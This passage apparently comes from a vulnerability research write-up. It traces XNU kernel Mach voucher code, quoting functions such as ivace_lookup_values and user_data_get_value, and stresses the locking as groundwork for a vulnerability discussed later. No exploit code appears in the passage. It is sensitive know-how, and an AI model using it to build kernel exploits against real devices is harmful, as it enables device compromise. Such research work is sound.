<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">return</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">iv_index_t</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4">key </span><span class="BGLtzooHlW-c2">-</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c15">1</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">}</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c11">ivgt_lookup</span><span class="BGLtzooHlW-c10"> then gets a reference on that key's attr manager and attr controller. The manager is really just a bunch of function pointers which define the semantics of what different "key types" actually mean; and the controller stores (and caches) values for those keys.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>Let's keep reading </span><span class="BGLtzooHlW-c11">ipc_replace_voucher_value</span><span class="BGLtzooHlW-c10">. Here's the next statement:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.ab9235fa2555d8200bd62bdf3838f3a821ead649"></a><a id="t.19"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* save the current value stored in the forming voucher */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> save_val_index </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> iv_lookup</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">voucher</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> key_index</span><span class="BGLtzooHlW-c2">);</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>This point is important for getting a good feeling for how the voucher code is supposed to work; recipes can refer not only to other vouchers (via the </span><span class="BGLtzooHlW-c11">previous_voucher</span><span> port) but they can also refer to </span><span class="BGLtzooHlW-c17">themselves</span><span> during creation.</span><span> You don't have to have just one sub-recipe per attr type for which you wish to have a value in your voucher; you can specify multiple sub-recipes for that type. </span><span>Does it actually make any sense to do that? Well, luckily for the security researcher we don't have to worry about whether functionality actually makes any sense; it's all just a weird machine to us!</span><span class="BGLtzooHlW-c10"> (There's allusions in the code to future functionality where attribute values can be "layered" or "linked" but for now such functionality doesn't exist.)</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c11">iv_lookup</span><span> returns the "value index" for the given key in the particular voucher. That means it just returns the </span><span class="BGLtzooHlW-c11">iv_index_t</span><span> in the </span><span class="BGLtzooHlW-c11">iv_table</span><span class="BGLtzooHlW-c10"> of the given voucher:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.18a23982f89054f9b506caa6cac52aa2dd16172b"></a><a id="t.20"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">static</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">inline</span><span class="BGLtzooHlW-c3"> iv_index_t</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4">iv_lookup</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ipc_voucher_t iv</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> iv_index_t key_index</span><span class="BGLtzooHlW-c2">)</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">key_index </span><span class="BGLtzooHlW-c2"><</span><span class="BGLtzooHlW-c4"> iv</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">iv_table_size</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">return</span><span class="BGLtzooHlW-c4"> iv</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">iv_table</span><span class="BGLtzooHlW-c2">[</span><span class="BGLtzooHlW-c4">key_index</span><span class="BGLtzooHlW-c2">];</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">return</span><span class="BGLtzooHlW-c4"> IV_UNUSED_VALINDEX</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">}</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>This value index uniquely identifies an existing attribute value, but you need to ask the attribute's controller for the actual value. Before getting that previous value </span><span>though, the</span><span> code first determines whether this sub-recipe might be trying to refer to the value currently stored by this voucher or has explicitly passed in a </span><span class="BGLtzooHlW-c11">previous_voucher</span><span class="BGLtzooHlW-c10">. The value in the previous voucher takes precedence over whatever is already in the under-construction voucher.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.f5a4045ea337ae1a6d9765b8d290b9e3f343559c"></a><a id="t.21"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> prev_val_index </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">IV_NULL </span><span class="BGLtzooHlW-c2">!=</span><span class="BGLtzooHlW-c4"> prev_voucher</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">?</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> iv_lookup</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">prev_voucher</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> key_index</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">:</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> save_val_index</span><span class="BGLtzooHlW-c2">;</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c10">Then the code looks up the actual previous value to operate on:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c19 BGLtzooHlW-c11"></span></p><a id="t.3d5b30b0ca79263b24534436b9c17b9f568c14c6"></a><a id="t.22"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivace_lookup_values</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">key_index</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> prev_val_index</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> previous_vals</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">&</span><span class="BGLtzooHlW-c4">previous_vals_count</span><span class="BGLtzooHlW-c2">);</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c11">key_index</span><span> is the key we're operating on, </span><span class="BGLtzooHlW-c11">MACH_VOUCHER_ATTR_KEY_USER_DATA</span><span> in this example. This function is called </span><span class="BGLtzooHlW-c11">ivace_lookup_values</span><span> (note the plural). There are some comments in the voucher code indicating that maybe in the future values could themselves be put into a linked-list such that you could have larger values (or layered/chained values.) But this functionality isn't implemented; </span><span class="BGLtzooHlW-c11">ivace_lookup_values</span><span class="BGLtzooHlW-c10"> will only ever return 1 value.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>Here's </span><span class="BGLtzooHlW-c11">ivace_lookup_values</span><span class="BGLtzooHlW-c10">:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.8394840551adb03f1e3384056efc45160047f0ab"></a><a id="t.23"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">static</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">void</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4">ivace_lookup_values</span><span class="BGLtzooHlW-c2">(</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> iv_index_t key_index</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> iv_index_t value_index</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_voucher_attr_value_handle_array_t values</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_voucher_attr_value_handle_array_size_t </span><span class="BGLtzooHlW-c2">*</span><span class="BGLtzooHlW-c4">count</span><span class="BGLtzooHlW-c2">)</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ipc_voucher_attr_control_t ivac</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivac_entry_t ivace</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">IV_UNUSED_VALINDEX </span><span class="BGLtzooHlW-c2">==</span><span class="BGLtzooHlW-c4"> value_index </span><span class="BGLtzooHlW-c2">||</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> MACH_VOUCHER_ATTR_KEY_NUM_WELL_KNOWN </span><span class="BGLtzooHlW-c2"><=</span><span class="BGLtzooHlW-c4"> key_index</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">*</span><span class="BGLtzooHlW-c4">count </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c15">0</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">return</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivac </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> iv_global_table</span><span class="BGLtzooHlW-c2">[</span><span class="BGLtzooHlW-c4">key_index</span><span class="BGLtzooHlW-c2">].</span><span class="BGLtzooHlW-c4">ivgte_control</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">assert</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">IVAC_NULL </span><span class="BGLtzooHlW-c2">!=</span><span class="BGLtzooHlW-c4"> ivac</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/*</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> * Get the entry and then the linked values.</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivac_lock</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivac</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">assert</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">value_index </span><span class="BGLtzooHlW-c2"><</span><span class="BGLtzooHlW-c4"> ivac</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivac_table_size</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivace </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">&</span><span class="BGLtzooHlW-c4">ivac</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivac_table</span><span class="BGLtzooHlW-c2">[</span><span class="BGLtzooHlW-c4">value_index</span><span class="BGLtzooHlW-c2">];</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/*</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> * TODO: support chained values (for effective vouchers).</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">assert</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_refs </span><span class="BGLtzooHlW-c2">></span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c15">0</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> values</span><span class="BGLtzooHlW-c2">[</span><span class="BGLtzooHlW-c15">0</span><span class="BGLtzooHlW-c2">]</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_value</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivac_unlock</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivac</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">*</span><span class="BGLtzooHlW-c4">count </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c15">1</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">}</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c10">The locking used in the vouchers code is very important for properly understanding the underlying vulnerability when we eventually get there, but for now I'm glossing over it and we'll return to examine the relevant locks when necessary.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>Let's discuss the </span><span class="BGLtzooHlW-c11">ivace_lookup_values</span><span> code. They index the </span><span class="BGLtzooHlW-c11">iv_global_table</span><span class="BGLtzooHlW-c10"> to get a pointer to the attribute type's controller:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.93bdc79665655f06bb0a73947fc8e84ad29d789b"></a><a id="t.24"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivac </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> iv_global_table</span><span class="BGLtzooHlW-c2">[</span><span class="BGLtzooHlW-c4">key_index</span><span class="BGLtzooHlW-c2">].</span><span class="BGLtzooHlW-c4">ivgte_control</span><span class="BGLtzooHlW-c2">;</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>They take that controller's lock then index its </span><span class="BGLtzooHlW-c11">ivac_table</span><span> to find that value's </span><span class="BGLtzooHlW-c11">struct ivac_entry_s</span><span> and read the </span><span class="BGLtzooHlW-c11">ivace_value</span><span class="BGLtzooHlW-c10"> value from there:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.dd7ea114ff79be6833293594657c2e978bc73a24"></a><a id="t.25"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivac_lock</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivac</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">assert</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">value_index </span><span class="BGLtzooHlW-c2"><</span><span class="BGLtzooHlW-c4"> ivac</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivac_table_size</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivace </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">&</span><span class="BGLtzooHlW-c4">ivac</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivac_table</span><span class="BGLtzooHlW-c2">[</span><span class="BGLtzooHlW-c4">value_index</span><span class="BGLtzooHlW-c2">];</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">assert</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_refs </span><span class="BGLtzooHlW-c2">></span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c15">0</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> values</span><span class="BGLtzooHlW-c2">[</span><span class="BGLtzooHlW-c15">0</span><span class="BGLtzooHlW-c2">]</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_value</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivac_unlock</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivac</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">*</span><span class="BGLtzooHlW-c4">count </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c15">1</span><span class="BGLtzooHlW-c2">;</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>Let's go back to the calling function (</span><span class="BGLtzooHlW-c11">ipc_replace_voucher_value</span><span class="BGLtzooHlW-c10">) and keep reading:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.a0e6fa2961c22bcc59d9cf5d3ac1f7a80569832f"></a><a id="t.26"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* Call out to resource manager to get new value */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> new_value_voucher </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> IV_NULL</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> kr </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivam</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivam_get_value</span><span class="BGLtzooHlW-c2">)(</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivam</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> key</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> command</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> previous_vals</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> previous_vals_count</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> content</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> content_size</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">&</span><span class="BGLtzooHlW-c4">new_value</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">&</span><span class="BGLtzooHlW-c4">new_flag</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">&</span><span class="BGLtzooHlW-c4">new_value_voucher</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">KERN_SUCCESS </span><span class="BGLtzooHlW-c2">!=</span><span class="BGLtzooHlW-c4"> kr</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivac_release</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivac</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">return</span><span class="BGLtzooHlW-c4"> kr</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c11">ivam->ivam_get_value</span><span> is calling the attribute type's function pointer which defines the meaning for the particular type of "</span><span class="BGLtzooHlW-c11">get_value</span><span>". The term </span><span class="BGLtzooHlW-c11">get_value</span><span> here is a little confusing; aren't we trying to store a new value? (and there's no subsequent call to a method like "</span><span class="BGLtzooHlW-c11">store_value</span><span>".) A better way to think about the semantics of </span><span class="BGLtzooHlW-c11">get_value</span><span> is that it's meant to evaluate both </span><span class="BGLtzooHlW-c11">previous_vals</span><span> (either the value from </span><span class="BGLtzooHlW-c11">previous_voucher</span><span> or the value currently in this voucher) and </span><span class="BGLtzooHlW-c11">content</span><span> (the arbitrary byte buffer from this sub-recipe) and combine/evaluate them to </span><span class="BGLtzooHlW-c14">create</span><span class="BGLtzooHlW-c10"> a value representation. It's then up to the controller layer to store/cache that value. (Actually there's one tedious snag in this system which we'll get to involving locking...)</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c11">ivam_get_value</span><span> for the </span><span class="BGLtzooHlW-c11">user_data</span><span> attribute type is </span><span class="BGLtzooHlW-c11">user_data_get_value</span><span class="BGLtzooHlW-c10">:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.65736db9786b611699f698b6e62ebfcd88a48199"></a><a id="t.27"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">static</span><span class="BGLtzooHlW-c3"> kern_return_t</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4">user_data_get_value</span><span class="BGLtzooHlW-c2">(</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ipc_voucher_attr_manager_t __assert_only manager</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_voucher_attr_key_t __assert_only key</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_voucher_attr_recipe_command_t command</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_voucher_attr_value_handle_array_t prev_values</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_voucher_attr_value_handle_array_size_t prev_value_count</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_voucher_attr_content_t content</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_voucher_attr_content_size_t content_size</span><span class="BGLtzooHlW-c2">,</span></p>
